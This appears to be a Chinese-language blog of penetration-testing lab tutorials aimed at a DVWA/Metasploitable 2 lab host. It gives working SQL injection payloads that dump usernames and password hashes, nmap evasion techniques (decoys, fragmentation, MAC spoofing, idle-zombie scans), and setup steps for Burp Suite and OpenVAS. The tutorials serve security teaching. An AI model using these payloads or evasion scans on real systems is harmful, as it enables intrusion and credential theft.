2024年3月7日 星期四

Web 上的 SQL Injection 手法

學習目標
  • 在 Kali Linux 上,進行網站的 SQL Injection 滲透攻擊。
  • Kali Linux 作業系統的安裝,請參考這一篇內容
  • 利用 Metasploitable 2 擔任被攻擊主機,架設方式請參考這一篇內容

重要步驟
  1. 啟動 Kali Linux 作業系統,並且以 Kali 帳號登入系統。
  2. 使用 Terminal,先進行系統更新的動作:
    $ sudo apt update
    $ sudo apt upgrade
    $ sudo apt dist-upgrade
    
  3. 開啟 Firefox ,登入 Metasploitable 2 主機的 DVWA 站台(帳密:admin / password)
  4. 先選擇低等級的安全設定,以利練習。之後,若熟悉 SQL 語法之後,再進行調成中、高等 

  5. 選擇 SQL Injection

  6. 在 User ID: 下方欄位,輸入下列指令並按下送出:
     1' or '1 = 1
    

  7. 由以上輸出,可以了解幾件事:
    1. 該資料庫沒有防 SQL Injection 的機制
    2. 輸出的資料欄位共有兩個欄位,應該可以稍加利用
  8. 兩次進行測試,利用 try and error 方式,查探是哪一種資料庫:
     1' or show databases#
    

    PS:由錯誤訊息中,了解其背後的資料庫是 MySQL
  9. 使用 MySQL 專用的 information_schema 資料庫,查探資料庫名稱:
     1' UNION SELECT 1, database() from information_schema.schemata#
    

    PS:明顯發現資料庫名稱是 dvwa
  10. 接下來,可開始抽絲剝繭,查看 dvwa 資料庫內有何資料表:
     1' UNION SELECT 1, table_name from information_schema.tables where table_schema='dvwa'#
    

    PS:共有兩張表格可以查看。其中的 users 表格,可能藏有使用者個資。
  11. 再進一步針對有興趣的資料表 users ,進行欄位資料的查詢:
     1' UNION SELECT 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
    

    PS:顯然最後三個欄位 user, password, avatar 是令人有興趣取得的資料
  12. 再進一步將有興趣的欄位資料內容,列出來:
     1' UNION SELECT 1,group_concat(user,0x3a,password,0x3a,avatar) from users#
    

    PS:帳號密碼與照片的連結均露出,可再進一步進行密碼的破譯。
參考文獻:

2024年2月6日 星期二

NMAP 用於隱身掃瞄的手法

學習目標
  • 在 Kali Linux 上使用 NMAP 指令工具,進行被動掃瞄的方式。
  • Kali Linux 作業系統的安裝,請參考這一篇內容
  • 利用 Metasploitable 2 擔任被掃瞄的主機,架設方式請參考這一篇內容
  • 隱身掃瞄的方式:Xmas Tree scan、TCP SYN scan、FIN scan、NULL scan
  • 繞過防火牆的掃瞄方式:TCP ACK scan

重要步驟
  1. 啟動 Kali Linux 作業系統,並且以 Kali 帳號登入系統。
  2. 使用 Terminal,先進行系統更新的動作:
    $ sudo apt update
    $ sudo apt upgrade
    $ sudo apt dist-upgrade
    
  3. 聖誕樹(Xmas Tree)掃瞄法
    $ sudo nmap -sX -p1-3400 192.168.123.10
    

  4. 使用 FIN 掃瞄法,結合縮短計時時間的方式:
    $ sudo nmap -sF -T4 192.168.123.10 
    

  5. 使用 NULL 掃瞄法,結合縮短計時時間的方式:
    $ sudo nmap -sN -T4 192.168.123.10 
    

  6. 使用 TCP ACK 掃瞄法:
    $ sudo nmap -sA -p80 192.168.123.10 
    

  7. 使用隨機掃瞄法進行掃瞄,可以避免被某些防火牆、入侵偵測系統察覺:
    $ sudo nmap -v -sS --randomize-hosts -p- 192.168.123.10
    

  8. 使用誘餌掩蓋法進行掃瞄,將自身的來源 IP 混在一堆假造IP內,以欺騙人類的眼睛察覺:
    $ sudo nmap -v -sS -D RND:30 -p- 192.168.123.10
    

  9. 將掃瞄的封包碎片化,降低被偵測的機率:
    $ sudo nmap -v -f 192.168.123.10
    

    PS: 注意最後的掃瞄結果。另外可以指定 --mtu 64 ,進行封包大小的指定。
  10. 閒置掃瞄法:利用僵屍電腦上的特定 port ,對目標主機進行掃瞄
    $ sudo nmap -Pn -sI 10.0.2.2 192.168.123.10
    

    PS: 掃瞄空閒主機的方式: $ sudo nmap -p80 --open --script ipidseq -iR 20 隨機找出 20 部有 80 port 的空閒主機,或是使用 $ sudo nmap -p80 --open --script ipidseq /24 找出網段上有 80 port 空閒的主機。
  11. 修改來源 Port ,使用常見的 Port 號碼,避免被防火牆或是入侵系統所偵測:
    $ sudo nmap -v --source-port 80 192.168.123.10
    

  12. 指定封包大小,繞過防火牆或是 IDS/IPS 的偵測:
    $ sudo nmap -v --data-length 80 192.168.123.10
    

  13. 將 MAC Address 偽裝,避免被記錄
    $ sudo nmap -v -sT -PN --spoof-mac 12:34:56:ab:cd:ef 192.168.123.10
    

  14. 利用錯誤的檢驗值,繞過防火牆的偵測
    $ sudo nmap -v --badsum 192.168.123.10
    

參考文獻

NMAP 用於主動掃瞄的手法

學習目標
  • 在 Kali Linux 上使用 NMAP 指令工具,進行主動掃瞄的方式。
  • Kali Linux 作業系統的安裝,請參考這一篇內容
  • 利用 Metasploitable 2 擔任被掃瞄的主機,架設方式請參考這一篇內容
  • NMAP Port (連結埠)狀態值基本認知:
    Port (連結埠)狀態值說明
    Open 應用程式正在該連接埠接收TCP連接或UDP封包。
    closed 關閉的連接埠對於Nmap是可存取的(它接受 Nmap 的探測封包並做出回應),但是沒有應用程式在其上監聽。
    filtered 由於有封包過濾阻止探測訊息抵達連結埠,Nmap 無法確定該連結埠是否開放。
    unfiltered 未過濾狀態表示該連接埠可訪問,但 Nmap 不能確定該埠是開放還是關閉。僅用於對應防火牆規則集的 ACK 掃描會將連接埠分類出這種狀態。
    open | filtered 當無法確定連接埠是開放還是被過濾的時,Nmap 就會將該連接埠分類出這種狀態,例如:開放的連接埠不回應時,就會產生此類狀態值。常出現在 UDP,IP,FIN,Null,和Xmas掃描。
    closed | filtered 此狀態為 Nmap 無法確定連接埠是關閉的還是被過濾的,只可能出現在IPID Idle掃描中。
  • TCP 網路協定旗標值:
    旗標值說明
    SYN 連結請求或接受連結請求
    ACK回應確認連結請求
    FIN傳送方沒有資料要傳輸,通知請求方釋放連結
    RST傳送端產生非預期的錯誤,需重新建立TCP連結
    PSH帶有 PUSH 標籤的資料,要求接收端儘快將該封包傳給應用層,不需等待緩衝區裝滿才傳送
    URG高優先權封包

重要步驟
  1. 啟動 Kali Linux 作業系統,並且以 Kali 帳號登入系統。
  2. 使用 Terminal,先進行系統更新的動作:
    $ sudo apt update
    $ sudo apt upgrade
    $ sudo apt dist-upgrade
    
  3. NMAP 指令使用說明:(忘記參數時,很有幫助)
    $ sudo nmap --help
    
  4. 基本掃瞄 Ping Scan 整個網段:
    $ sudo nmap -sn 192.168.123.0/24
    

  5. 縮小範圍,對單一IP位置,進行 Port 掃瞄:
    $ sudo nmap 192.168.123.10
    

  6. 掃瞄主機上的作業系統:
    $ sudo nmap -O 192.168.123.10
    

  7. 開啟 OS 偵測、版本偵測、Script 掃瞄、路由掃瞄:
    $ sudo nmap -A 192.168.123.10
    

  8. 掃瞄持定範圍 Port:
    $ sudo nmap -p 1-1024 192.168.123.10
    

  9. 縮短掃瞄時間,數字0~5,數字愈大時間愈短:(T0:5分鐘,T1:15秒,T2:0.4秒,T3:預設值,但無說明,T4:10 ms,T5:5ms)
    $ sudo nmap -T4 192.168.123.10
    

  10. 執行 ARP 掃瞄:
    $ sudo nmap -Pn 192.168.123.10
    

  11. TCP 連結掃瞄:
    $ sudo nmap -v -sT 192.168.123.10
    

  12. 執行 SYN 掃瞄:
    $ sudo nmap -v -sS 192.168.123.10
    

  13. 執行 TCP SYN 掃瞄:
    $ sudo nmap -PS 192.168.123.10
    

  14. 執行 TCP ACK 掃瞄:
    $ sudo nmap -PA 192.168.123.10
    

  15. 執行 UDP ping 掃瞄:
    $ sudo nmap -v -PU 192.168.123.10
    

  16. 執行 IP Protocol Ping 掃瞄:
    $ sudo nmap -PO 192.168.123.10
    

  17. 更新 Nmap Script 資料庫:
    $ sudo nmap --script-updatedb
    

  18. 使用 ftp Script 進行掃瞄:
    $ sudo nmap 192.168.123.10 -p 21 –-script=ftp*
    

  19. 使用 NSE 預設腳本進行掃瞄:
    $ sudo nmap -sC 192.168.123.10
    

  20. PS: 若不知道 NMAP 腳本(Script)有哪些樣式,可以查詢: $ sudo nmap --script-help default,或是使用關鍵字,例如:$ sudo nmap --script-help ftp* 可查出與 ftp 功能相關的使用方式
參考文獻

2024年2月4日 星期日

Burp Suite 安裝與設定

學習目標
  • 在 Kali Linux 上安裝 Burp Suite 工具,用於 Web 站台滲透。
  • Kali Linux 作業系統的安裝,請參考這一篇內容

重要步驟
  1. 啟動 Kali Linux 作業系統,並且以 Kali 帳號登入系統。
  2. 使用 Terminal,先進行系統更新的動作:
    $ sudo apt update
    $ sudo apt upgrade
    $ sudo apt dist-upgrade
    

  3. 安裝 Burp Suite 工具
    $ sudo apt install burpsuite
    

  4. 啟動 Burp Suite 工具
    $ burpsuite
    

  5. 跳出 JRE 提醒視窗,提醒 JRE 版本不足以開啟所有功能,按下 OK 按鈕之後,繼續進行開啟作業。

  • 跳出版權宣告視窗,按下 I Accept 按鈕,繼續進行開啟作業

  • 因使用 Community Edition ,所以只能暫時將專案置放於記憶體內,如要存檔,只能花錢買專業版。按下 Next 持續進行開啟作業。

  • 初學者先暫時使用預設值,待實力進階之後,再開啟其他功能。按下 Start Burp 之後,持續開啟作業。

  • 開啟成功之後的畫面如下,按下 Start here,可開啟線上的教學網頁。

  • 關閉 Burp Suite ,進行 JRE 新版本的安裝作業。
    $ update-java-alternatives -l
    $ sudo apt install openjdk-23-jdk
    

  • 更換 Java 版本,使用最近的版本
    $ update-java-alternatives -l
    $ sudo update-java-alternatives -s java-1.23.0-openjdk-amd64
    $ java -version

  • 開度開啟 Burp Suite,圖面如下:

    PS:開啟過程仍如原先的步驟。過程中,仍會跳出提醒視窗,但可不用理會。
  • 參考文獻

    2024年2月1日 星期四

    OpenVAS 安裝

    學習目標
    • 在 Kali Linux 上安裝 OpenVAS 滲透掃瞄工具
    • Kali Linux 作業系統的安裝,請參考這一篇內容

    重要步驟
    1. 啟動 Kali Linux 作業系統,並且以 Kali 帳號登入系統。
    2. 使用 Terminal,先進行系統更新的動作:
      $ sudo apt update
      $ sudo apt upgrade
      $ sudo apt dist-upgrade
      

    3. 因為 Greenbone 已將 OpenVAS 更名為 Greenbone Vulnerability Management (GVM),所以想要使用 OpenVAS 則需安裝 gvm
      $ sudo apt install gvm
      

    4. 執行 gvm 的初始化設定,把相關的服務一併安裝與啟動:
      $ sudo gvm-setup
      

      PS: Download 檔案時,會需要等待一些時間~~
    5. 初始化設定完成之後,請先複製 admin 使用者的密碼,方便登入時使用

    6. 若擔心安裝不完全,可使佣檢查的指令
      $ sudo gvm-check-setup
      

      PS: 若有發現故障,會有提示內容,請注意查看~~
    7. 以上的故障,可利用指令排除:
      $ cd /var/log/gvm
      $ sudo chown _gvm:_gvm /var/log/gvm/openvas.log
      $ systemctl restart ospd-openvas.service
      $ systemctl status ospd-openvas.service
      

    8. 故障排除完成之後,重新再進行確認是否有安裝正確
      $ sudo gvm-check-setup
      
    9. 進行確認所有服務是否已經正常啟動
      $ sudo systemctl status redis-server@openvas.service
      $ sudo systemctl status postgresql.service 
      $ sudo systemctl status gvmd.service
      $ sudo systemctl status ospd-openvas.service
      $ sudo systemctl status greenbone-security-assistant.service
      
    10. 若有需要,可以將下列服務設定成開機啟動服務
      $ sudo systemctl enable redis-server@openvas.service
      $ sudo systemctl enable postgresql.service 
      $ sudo systemctl enable gvmd.service
      $ sudo systemctl enable ospd-openvas.service
      $ sudo systemctl enable greenbone-security-assistant.service
      
    11. 手動更新漏洞資料庫
      $ sudo greenbone-feed-sync
      

      PS:過程需要花點時間~~
    12. 開啟瀏覽器,輸入網址:https://127.0.0.1:9392,將出現下圖樣,再按下 Advanced...:

    13. 再按下 Accept the Risk and Continue 按鈕

    14. 出現登入畫面,將 admin 與之前步驟所複製備份的密碼輸入,按下 Sign in

    15. 登入後的畫面如下,可到右上角按下人形圖案的按鈕,進行密碼的修改

    16. 修改密碼成 kali (方便記憶,但不建議),另外,亦可修改語系,方便學習與操作

    17. 可操作 SecInfo 來查看現在的威脅與漏洞相關資訊


    參考文獻: